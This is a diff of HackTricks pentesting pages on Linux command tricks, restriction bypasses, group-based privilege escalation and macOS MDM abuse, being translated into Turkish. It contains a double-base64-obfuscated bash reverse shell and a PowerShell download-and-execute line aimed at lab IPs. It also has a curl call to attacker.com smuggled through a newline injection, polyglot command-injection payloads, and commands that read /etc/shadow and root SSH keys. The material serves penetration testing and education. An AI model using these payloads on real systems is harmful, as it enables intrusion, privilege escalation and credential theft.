||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
||||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Bash for Windows
|
||||
|
||||
## Windows için Bash
|
||||
```bash
|
||||
#Base64 for Windows
|
||||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||
@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py
|
||||
#sudo apt-get install gcc-mingw-w64-i686
|
||||
i686-mingw32msvc-gcc -o executable useradd.c
|
||||
```
|
||||
|
||||
## Greps
|
||||
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
||||
#Extract ISBN Numbers
|
||||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
|
||||
## Find
|
||||
|
||||
## Bulmak
|
||||
```bash
|
||||
# Find SUID set files.
|
||||
find / -perm /u=s -ls 2>/dev/null
|
||||
@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
|
||||
# Found Newer directory only and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
```
|
||||
|
||||
## Nmap search help
|
||||
|
||||
## Nmap arama yardımı
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||||
nmap --script-help "(default or version) and smb)"
|
||||
```
|
||||
|
||||
## Bash
|
||||
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
|
||||
## Iptables
|
||||
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
@ -322,13 +294,4 @@ iptables -P INPUT DROP
|
||||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
@ -1,27 +1,16 @@
|
||||
# Bypass Linux Restrictions
|
||||
# Linux Kısıtlamalarını Aşma
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Common Limitations Bypasses
|
||||
|
||||
### Reverse Shell
|
||||
## Yaygın Kısıtlama Aşmaları
|
||||
|
||||
### Ters Shell
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
|
||||
### Short Rev shell
|
||||
|
||||
### Kısa Rev shell
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
|
||||
### Bypass Paths and forbidden words
|
||||
|
||||
### Yolları ve yasaklı kelimeleri atlatma
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
@ -86,9 +73,7 @@ mi # This will throw an error
|
||||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
|
||||
### Bypass forbidden spaces
|
||||
|
||||
### Yasaklı boşlukları atlatma
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
@ -121,22 +106,16 @@ g # These 4 lines will equal to ping
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
|
||||
### Bypass backslash and slash
|
||||
|
||||
### Ters eğik çizgi ve eğik çizgiyi atlama
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
|
||||
### Bypass pipes
|
||||
|
||||
### Boruları Atla
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
|
||||
### Bypass with hex encoding
|
||||
|
||||
### Hex kodlama ile atlatma
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
@ -146,36 +125,28 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
|
||||
### Bypass IPs
|
||||
|
||||
### IP'leri Atlatma
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
|
||||
### Time based data exfiltration
|
||||
|
||||
### Zaman Tabanlı Veri Sızdırma
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
|
||||
### Getting chars from Env Variables
|
||||
|
||||
### Çevre Değişkenlerinden Karakter Alma
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNS veri sızdırma
|
||||
|
||||
### DNS data exfiltration
|
||||
Örneğin **burpcollab** veya [**pingb**](http://pingb.in) kullanabilirsiniz.
|
||||
|
||||
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
|
||||
|
||||
### Builtins
|
||||
|
||||
In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
|
||||
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:
|
||||
### Yerleşik Komutlar
|
||||
|
||||
Dış fonksiyonları çalıştıramıyorsanız ve yalnızca RCE elde etmek için **sınırlı bir yerleşik komut setine** erişiminiz varsa, bunu yapmanın bazı pratik yolları vardır. Genellikle **tüm** **yerleşik komutları** kullanamayacaksınız, bu yüzden hapisten kurtulmak için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'ten.\
|
||||
Öncelikle tüm [**shell yerleşik komutlarını**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)** kontrol edin.** İşte bazı **öneriler**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
@ -227,30 +198,22 @@ chmod +x [
|
||||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
|
||||
### Polyglot command injection
|
||||
|
||||
### Polyglot komut enjeksiyonu
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
|
||||
### Bypass potential regexes
|
||||
|
||||
### Potansiyel regex'leri atlatma
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
|
||||
### Bashfuscator
|
||||
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
|
||||
### RCE with 5 chars
|
||||
|
||||
### 5 karakterle RCE
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
@ -297,9 +260,7 @@ ln /f*
|
||||
## If there is a file /flag.txt that will create a hard link
|
||||
## to it in the current folder
|
||||
```
|
||||
|
||||
### RCE with 4 chars
|
||||
|
||||
### 4 karakterle RCE
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
@ -334,34 +295,25 @@ ln /f*
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Salt Okuma/Sadece Çalıştırma/Distroless Bypass
|
||||
|
||||
## Read-Only/Noexec/Distroless Bypass
|
||||
|
||||
If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:**
|
||||
Eğer **salt okuma ve sadece çalıştırma korumalarına** sahip bir dosya sistemindeyseniz veya hatta bir distroless konteynerdeyseniz, yine de **rastgele ikili dosyaları çalıştırmanın yolları vardır, hatta bir shell!:**
|
||||
|
||||
{{#ref}}
|
||||
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
|
||||
{{#endref}}
|
||||
|
||||
## Chroot & other Jails Bypass
|
||||
## Chroot & Diğer Hapisler Bypass
|
||||
|
||||
{{#ref}}
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## References & More
|
||||
## Referanslar & Daha Fazlası
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,25 +1,23 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
|
||||
Yum ile ilgili daha fazla örnek [gtfobins](https://gtfobins.github.io/gtfobins/yum/) üzerinde bulunabilir.
|
||||
|
||||
# Executing arbitrary commands via RPM Packages
|
||||
# RPM Paketleri aracılığıyla rastgele komutlar çalıştırma
|
||||
|
||||
## Checking the Environment
|
||||
## Ortamı Kontrol Etme
|
||||
|
||||
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
|
||||
Bu vektörü kullanabilmek için kullanıcının yum komutlarını daha yüksek ayrıcalıklara sahip bir kullanıcı olarak, yani root olarak çalıştırabilmesi gerekmektedir.
|
||||
|
||||
### A working example of this vector
|
||||
### Bu vektörün çalışan bir örneği
|
||||
|
||||
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
|
||||
Bu açığın çalışan bir örneği [tryhackme](https://tryhackme.com) üzerindeki [daily bugle](https://tryhackme.com/room/dailybugle) odasında bulunabilir.
|
||||
|
||||
## Packing an RPM
|
||||
## RPM Paketleme
|
||||
|
||||
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
|
||||
|
||||
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
|
||||
Aşağıdaki bölümde, [fpm](https://github.com/jordansissel/fpm) kullanarak bir ters shell'i RPM içine paketlemeyi ele alacağım.
|
||||
|
||||
Aşağıdaki örnek, saldırgan tarafından tanımlanabilecek rastgele bir betik ile bir ön yükleme tetikleyicisi içeren bir paket oluşturur. Bu paket yüklendiğinde, rastgele komutu çalıştıracaktır. Gösterim için basit bir ters netcat shell örneği kullandım, ancak bu gerektiği gibi değiştirilebilir.
|
||||
```text
|
||||
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,18 +1,11 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
# Sudo/Admin Grupları
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
# Sudo/Admin Groups
|
||||
|
||||
## **PE - Method 1**
|
||||
|
||||
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
|
||||
## **PE - Yöntem 1**
|
||||
|
||||
**Bazen**, **varsayılan olarak \(ya da bazı yazılımlar bunu gerektirdiği için\)** **/etc/sudoers** dosyası içinde bu satırlardan bazılarını bulabilirsiniz:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -20,48 +13,35 @@ Get Access Today:
|
||||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Bu, **sudo veya admin grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği** anlamına gelir.
|
||||
|
||||
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
|
||||
|
||||
If this is the case, to **become root you can just execute**:
|
||||
|
||||
Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
## PE - Yöntem 2
|
||||
|
||||
## PE - Method 2
|
||||
|
||||
Find all suid binaries and check if there is the binary **Pkexec**:
|
||||
|
||||
Tüm suid ikili dosyalarını bulun ve **Pkexec** ikili dosyasının olup olmadığını kontrol edin:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
|
||||
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
|
||||
Check the contents of:
|
||||
|
||||
Eğer pkexec ikili dosyasının SUID ikili dosyası olduğunu ve sudo veya admin grubuna ait olduğunuzu bulursanız, muhtemelen pkexec kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz. İçeriği kontrol edin:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Orada **pkexec** komutunu çalıştırmaya izin verilen grupları bulacaksınız ve bazı Linux dağıtımlarında **varsayılan olarak** **sudo veya admin** gibi bazı gruplar **görünebilir**.
|
||||
|
||||
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**.
|
||||
|
||||
To **become root you can execute**:
|
||||
|
||||
**Root olmak için şunu çalıştırabilirsiniz**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
|
||||
If you try to execute **pkexec** and you get this **error**:
|
||||
|
||||
Eğer **pkexec** komutunu çalıştırmaya çalışırsanız ve bu **hata** ile karşılaşırsanız:
|
||||
```bash
|
||||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
|
||||
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
|
||||
|
||||
**Bu, izinlerinizin olmaması nedeniyle değil, bir GUI olmadan bağlı olmamanızdan kaynaklanıyor**. Bu sorun için bir çözüm burada mevcut: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2 farklı ssh oturumuna** ihtiyacınız var:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
@ -72,39 +52,27 @@ pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
#Step 4, you will be asked in this session to authenticate to pkexec
|
||||
```
|
||||
# Wheel Grubu
|
||||
|
||||
# Wheel Group
|
||||
|
||||
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
|
||||
|
||||
**Bazen**, **varsayılan olarak** **/etc/sudoers** dosyası içinde bu satırı bulabilirsiniz:
|
||||
```text
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Bu, **wheel grubuna ait olan herhangi bir kullanıcının sudo ile her şeyi çalıştırabileceği** anlamına gelir.
|
||||
|
||||
This means that **any user that belongs to the group wheel can execute anything as sudo**.
|
||||
|
||||
If this is the case, to **become root you can just execute**:
|
||||
|
||||
Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
# Shadow Grubu
|
||||
|
||||
# Shadow Group
|
||||
|
||||
Users from the **group shadow** can **read** the **/etc/shadow** file:
|
||||
|
||||
**shadow** grubundaki kullanıcılar **/etc/shadow** dosyasını **okuyabilir**:
|
||||
```text
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
Bu ayrıcalık neredeyse **root erişimi ile eşdeğerdir** çünkü makinenin içindeki tüm verilere erişebilirsiniz.
|
||||
|
||||
So, read the file and try to **crack some hashes**.
|
||||
|
||||
# Disk Group
|
||||
|
||||
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
|
||||
|
||||
Files:`/dev/sd[a-z][1-9]`
|
||||
|
||||
Dosyalar:`/dev/sd[a-z][1-9]`
|
||||
```text
|
||||
debugfs /dev/sda1
|
||||
debugfs: cd /root
|
||||
@ -112,70 +80,55 @@ debugfs: ls
|
||||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
|
||||
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
|
||||
|
||||
Debugfs kullanarak **dosya yazma** işlemi de yapabileceğinizi unutmayın. Örneğin, `/tmp/asd1.txt` dosyasını `/tmp/asd2.txt` dosyasına kopyalamak için şunu yapabilirsiniz:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
Ancak, **root tarafından sahip olunan dosyaları yazmaya** çalışırsanız \(örneğin `/etc/shadow` veya `/etc/passwd`\) "**İzin reddedildi**" hatası alırsınız.
|
||||
|
||||
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
|
||||
|
||||
# Video Group
|
||||
|
||||
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
|
||||
# Video Grubu
|
||||
|
||||
`w` komutunu kullanarak **sistemde kimin oturum açtığını** bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder.
|
||||
|
||||
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
|
||||
|
||||
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
|
||||
|
||||
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **şu anki görüntüsünü** ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
|
||||
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
|
||||
**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi** seçebilirsiniz:
|
||||
|
||||

|
||||
|
||||
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
|
||||
Sonra Genişlik ve Yüksekliği ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin \(ve ekranı daha iyi göstereni seçin\):
|
||||
|
||||

|
||||
|
||||
# Root Group
|
||||
# Root Grubu
|
||||
|
||||
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
|
||||
|
||||
**Check which files root members can modify**:
|
||||
Görünüşe göre varsayılan olarak **root grubunun üyeleri**, bazı **hizmet** yapılandırma dosyalarını veya bazı **kütüphane** dosyalarını veya ayrıcalıkları artırmak için kullanılabilecek **diğer ilginç şeyleri** **değiştirme** erişimine sahip olabilir...
|
||||
|
||||
**Root üyelerinin hangi dosyaları değiştirebileceğini kontrol edin**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
# Docker Grubu
|
||||
|
||||
# Docker Group
|
||||
|
||||
You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
|
||||
Ana makinenin kök dosya sistemini bir örneğin hacmine monte edebilirsiniz, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
|
||||
# lxc/lxd Group
|
||||
# lxc/lxd Grubu
|
||||
|
||||
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
|
||||
[lxc - Yetki Yükseltme](lxd-privilege-escalation.md)
|
||||
|
||||
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -1,110 +1,99 @@
|
||||
# macOS Red Teaming
|
||||
# macOS Kırmızı Takım
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Abusing MDMs
|
||||
## MDM'leri Kötüye Kullanma
|
||||
|
||||
- JAMF Pro: `jamf checkJSSConnection`
|
||||
- Kandji
|
||||
|
||||
If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines.
|
||||
Eğer yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirirseniz**, makinelerdeki kötü amaçlı yazılımınızı dağıtarak **tüm bilgisayarları tehlikeye atabilirsiniz**.
|
||||
|
||||
For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work:
|
||||
MacOS ortamlarında kırmızı takım çalışması için MDM'lerin nasıl çalıştığına dair bir anlayışa sahip olmak şiddetle tavsiye edilir:
|
||||
|
||||
{{#ref}}
|
||||
macos-mdm/
|
||||
{{#endref}}
|
||||
|
||||
### Using MDM as a C2
|
||||
### MDM'yi C2 Olarak Kullanma
|
||||
|
||||
A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key...
|
||||
Bir MDM, profilleri yüklemek, sorgulamak veya kaldırmak, uygulamaları yüklemek, yerel yönetici hesapları oluşturmak, firmware şifresi ayarlamak, FileVault anahtarını değiştirmek için izne sahip olacaktır...
|
||||
|
||||
In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
Kendi MDM'nizi çalıştırmak için **CSR'nizin bir satıcı tarafından imzalanması** gerekir, bunu [**https://mdmcert.download/**](https://mdmcert.download/) ile elde etmeye çalışabilirsiniz. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
|
||||
|
||||
However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything.
|
||||
Ancak, kayıtlı bir cihazda bir uygulama yüklemek için, hala bir geliştirici hesabı tarafından imzalanmış olması gerekir... ancak, MDM kaydı sırasında **cihaz MDM'nin SSL sertifikasını güvenilir CA olarak ekler**, böylece artık her şeyi imzalayabilirsiniz.
|
||||
|
||||
